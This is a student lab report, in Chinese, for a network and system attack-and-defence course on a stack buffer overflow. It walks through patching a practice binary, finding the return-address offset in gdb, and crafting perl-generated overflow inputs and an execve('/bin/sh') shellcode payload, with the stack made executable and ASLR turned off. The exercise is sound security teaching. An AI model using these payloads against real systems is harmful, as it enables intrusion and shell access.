20222406 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

20222406王瑞發表於2024-10-06

20222406 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

1.實驗內容

本週深入學習了緩衝區溢位相關內容,收穫頗豐。
一、理論知識學習

  1. 學習了緩衝區溢位的基本知識,包括組合語言,瞭解了常見的指令如mov(資料傳送)、push(壓棧)、pop(出棧)、call(呼叫函式)等的基本功能。同時,對 Windows 和 Linux 系統下的程序記憶體管理機制有了更深入的理解,包括使用者態和核心態的區別等。
  2. 認識了棧和堆的概念。棧是一種具有後進先出特性的資料結構,用於儲存函式呼叫的上下文資訊等;堆則用於動態分配記憶體。
  3. 複習和加深了對計算機中緩衝區等知識的印象,明白了緩衝區溢位發生的原理,即當向緩衝區寫入的資料超過其容量時,可能會覆蓋相鄰的記憶體區域,從而導致程式出現異常行為甚至被攻擊者利用。

二、實踐操作收穫

  1. 對實驗物件“pwn1”可執行檔案進行了手工修改,透過改變程式執行流程,成功實現直接跳轉到getShell函式,深入理解了程式的執行邏輯和控制流。
  2. 利用foo函式的緩衝區溢位漏洞(Bof),構造攻擊輸入字串,覆蓋返回地址,成功觸發了getShell函式,親身體驗了緩衝區溢位攻擊的過程。
  3. 嘗試注入自己製作的 shellcode 並執行,進一步掌握了緩衝區溢位攻擊的高階技術。
  4. 學會了在 Linux 環境下使用基本操作指令,如cd(切換目錄)、ls(列出目錄內容)、chmod(修改檔案許可權)、cat(檢視檔案內容)等。
  5. 掌握了編譯器和偵錯程式的知識,能夠在 Linux 下利用gdb進行程式除錯,包括設定斷點、檢視暫存器狀態、跟蹤程式執行流程等。
  6. 瞭解了反彙編的概念,並能夠動手實現簡單的十六進位制編輯,透過反彙編分析程式的結構和功能,為理解和防範緩衝區溢位攻擊提供了有力工具。

透過本週的學習和實踐,不僅對緩衝區溢位攻擊有了更全面的認識,也提高了自己的電腦保安意識和實踐能力。

2.實驗過程

2.1 直接修改程式機器指令,改變程式執行流程

2.1.1 下載目標檔案pwn1,反彙編

點選檢視2.1.1全部輸入程式碼
cd /home/kali/Desktop/
ls
objdump -d pwn20222406 | more

首先,將學習通資料中的pwn1解壓後拖入虛擬機器中即可完成下載,
此處透過重新命名即可修改檔名稱,下圖所示檔名稱為pwn20222406

隨後先透過cd /home/kali/Desktop/進入桌面,
再輸入ls檢視檔案是否存在,
最後輸入命令objdump -d pwn20222406 | more檢視程式碼:

透過觀察,下圖中白色高光區域的彙編指令call 8048491是說這條指令將呼叫位於地址8048491處的foo函式,
其對應機器指令為“e8 d7ffffff”,e8即跳轉之意:

2.1.2 修改可執行檔案

點選檢視2.1.2全部輸入程式碼
vi pwn20222406
:%!xxd
/d7ff
i
:%!xxd -r
:wq

輸入命令vi pwn20222406

即可出現如下內容:

隨後,先按ESC鍵,再輸入:%!xxd,將顯示模式切換為16進位制模式:

輸入命令/d7ff查詢要修改的內容:

再輸入i進入插入模式,修改d7為c3:

按下ESC鍵退出插入模式,輸入命令:%!xxd -r即可轉換16進製為原格式:

再輸入:wq儲存並退出vi。

2.1.3 再反彙編檢視call指令是否正確呼叫getShell

點選檢視2.1.3全部輸入程式碼
objdump -d pwn20222406 | more
./pwn20222406

還是輸入命令objdump -d pwn20222406 | more即可發現call指令發生了變化:

這時輸入命令./pwn20222406執行程式碼可以發現可以得到shell提示符:

2.2 透過構造輸入引數,造成BOF攻擊,改變程式執行流

2.2.1 反彙編,瞭解程式的基本功能

點選檢視2.2.1全部輸入程式碼
objdump -d pwn20222406 | more

首先,使用未被修改過的pwn檔案,輸入命令objdump -d pwn20222406 | more
目標是觸發函式getShell

該可執行檔案正常執行是呼叫如下函式foo,這個函式有Buffer overflow漏洞,
這裡讀入字串,但系統只預留了56位元組的緩衝區,超出部分會造成溢位,我們的目標是覆蓋返回地址:

下面的call呼叫foo,同時在堆疊上壓上返回地址值:80484ba

2.2.2 確認輸入字串哪幾個字元會覆蓋到返回地址

點選檢視2.2.2全部輸入程式碼
gdb pwn20222406
1111111122222222333333334444444412345678
info r

首先輸入命令gdb pwn20222406

隨後輸入命令r

隨後輸入字串1111111122222222333333334444444412345678,再輸入命令info r
1234那四個數最終會覆蓋到堆疊上的返回地址,進而CPU會嘗試執行這個位置的程式碼,
那隻要把這四個字元替換為getShell的記憶體地址,輸給pwn,pwn就會執行getShell

2.2.3 確認用什麼值來覆蓋返回地址

點選檢視2.2.3全部輸入程式碼
break *0x804849d
info break
r
info r

getShell的記憶體地址,透過反彙編時可以看到,即0804847d
接下來要確認下位元組序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,
還是輸入11111111222222223333333344444444\x7d\x84\x04\x08
相繼輸入命令break *0x804849d

命令info break

命令r

命令info r

對比之前eip 0x34333231 0x34333231,正確應用輸入11111111222222223333333344444444\x7d\x84\x04\x08

2.2.4 構造輸入字串

點選檢視2.2.4全部輸入程式碼
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
(cat input; cat) | ./pwn20222406
ls
exit
ls
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406
ls
exit
ls

由為我們沒法透過鍵盤輸入\x7d\x84\x04\x08這樣的16進位制值,所以先生成包括這樣字串的一個檔案,
\x0a表示回車,如果沒有的話,在程式執行時就需要手工按一下Enter鍵,
輸入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

可以使用16進位制檢視指令xxd檢視input檔案的內容是否如預期,
輸入命令xxd input

然後將input的輸入,透過管道符“|”,作為pwn的輸入,
輸入命令(cat input; cat) | ./pwn20222406,在其中輸入ls

隨後輸入命令(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./pwn20222406,在其中輸入ls

2.3 注入Shellcode並執行

2.3.1 準備一段Shellcode

shellcode就是一段機器指令(code),
通常這段機器指令的目的是為獲取一個互動式的shell(像linux的shell或類似windows下的cmd.exe),
所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像新增一個使用者、執行一條指令。
以下實踐即使用shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

2.3.2 準備工作

點選檢視2.3.2全部輸入程式碼
execstack -s pwn20222406
execstack -q pwn20222406
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

設定堆疊可執行,輸入命令execstack -s pwn20222406
隨後輸入execstack -q pwn20222406
輸入more /proc/sys/kernel/randomize_va_space
關閉地址隨機化,輸入echo "0" > /proc/sys/kernel/randomize_va_space
輸入more /proc/sys/kernel/randomize_va_space

2.3.3 構造要注入的payload

點選檢視2.3.3全部輸入程式碼
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ps -ef | grep pwn20222406
gdb
attach 13017
disassemble foo
break *0x080484ae
c
info r esp
x/16x 0xffffd31c
x/16x 0xffffd300
x/16x 0xffffd2fc
c
quit
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn20222406
ls

Linux下有兩種基本構造攻擊buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

因為retaddr在緩衝區的位置是固定的,shellcode只能在它前後。
該buf足夠放這個shellcode,結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。

輸入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最後的\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置,需要將其改為這段shellcode的地址,
特別提醒:最後一個字元不能是\x0a。
接下來我們來確定\x4\x3\x2\x1到底該填什麼,
輸入(cat input_shellcode;cat) | ./pwn20222406

開啟另一個終端,輸入ps -ef | grep pwn20222406

找到pwn的程序號是:13017
輸入gdb後輸入attach 13017除錯這個程序:

輸入disassemble foo透過設定斷點,來檢視注入buf的記憶體地址:

斷在高光區域,這時注入的東西都大堆疊上了,ret結束,就跳到所覆蓋的retaddr處。
輸入break *0x080484ae

在另外一個終端中按下回車,這就是前面為什麼不能以\x0a來結束 input_shellcode的原因。
輸入c

輸入info r esp

相繼輸入x/16x 0xffffd31cx/16x 0xffffd300x/16x 0xffffd2fc

輸入c

這個返回地址佔位也是對的,
輸入quit退出,
輸入perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再輸入xxd input_shellcode

輸入(cat input_shellcode;cat) | ./pwn20222406ls

3.問題及解決方案

  • 問題1:在2.2.2處直接輸入命令無法正常進行,顯示資訊為:

    而在輸入安裝命令後還是無法正常安裝:
  • 問題1解決方案:輸入命令sudo apt-get update進行更新後再重新輸入命令sudo apt install gdb

    待進度條到達100%時再輸入命令sudo apt install gdb-minimal即可繼續進行實驗。
  • 問題2:在2.3.2處直接輸入命令無法正常進行,顯示資訊為:
  • 問題2解決方案:輸入命令sudo apt-get install prelink,此時會顯示:

    有兩種解決方法:
  1. 分別輸入命令sudo apt-get updatesudo apt-get upgrade安裝execstack,但部分主機無法實現
  2. 從該網頁下載檔案http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb需要複製到瀏覽器下載,否則顯示不安全
    下載完成後,將檔案拖拽至虛擬機器,輸入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可解壓:

4.學習感悟、思考等

一、技術層面的收穫

  1. 組合語言與記憶體管理:學習了組合語言中的常見指令,如movpushpopcall等。
  2. 棧與堆的概念:明確了棧和堆在計算機記憶體中的不同作用。棧作為具有後進先出特性的資料結構,用於儲存函式呼叫的上下文資訊,其嚴格的進出規則保證了程式執行的有序性。而堆則用於動態分配記憶體,為程式的靈活性提供了支援。
  3. 緩衝區溢位原理與實踐:透過手工修改可執行檔案、構造攻擊輸入字串以及注入 shellcode 等實踐操作,親身體驗了緩衝區溢位攻擊的過程。明白了當向緩衝區寫入的資料超過其容量時,可能會覆蓋相鄰的記憶體區域,從而導致程式出現異常行為甚至被攻擊者利用。
  4. 工具的掌握:熟練掌握了在 Linux 環境下的基本操作指令,如cdlschmodcat等。

二、安全意識的提升

  1. 漏洞的危險性:緩衝區溢位漏洞是一種常見但極具危險性的安全漏洞。透過實驗,我深刻認識到即使是一個看似簡單的程式,也可能存在被攻擊者利用的漏洞。這提醒我在編寫程式時,要始終保持警惕,嚴格檢查輸入資料的長度和合法性,避免緩衝區溢位等安全問題的發生。
  2. 安全防護的重要性:在實驗過程中,遇到了一些問題,如安裝除錯工具時出現的困難。這讓我意識到,在實際的系統安全防護中,不僅要關注軟體的功能實現,還要確保所使用的工具和環境的安全性。
  3. 持續學習的必要性:網路與系統攻防技術不斷髮展,新的漏洞和攻擊手段層出不窮。透過這次實驗,我認識到自己在電腦保安領域還有很多知識需要學習。只有不斷更新自己的知識體系,關注最新的安全動態,才能更好地應對日益複雜的安全挑戰。

總之,透過本次實驗,我在技術能力和安全意識方面都有了很大的提升。我將繼續努力學習,不斷探索網路與系統攻防技術的奧秘,為保障網路空間安全貢獻自己的一份力量。

參考資料

  • 《0x11_MAL_逆向與Bof基礎.md》
  • 《Linux中“沒有可用的軟體包XX,但是它被其他軟體包引用”的解決方法》
  • 《關於找不到execstack的問題》

相關文章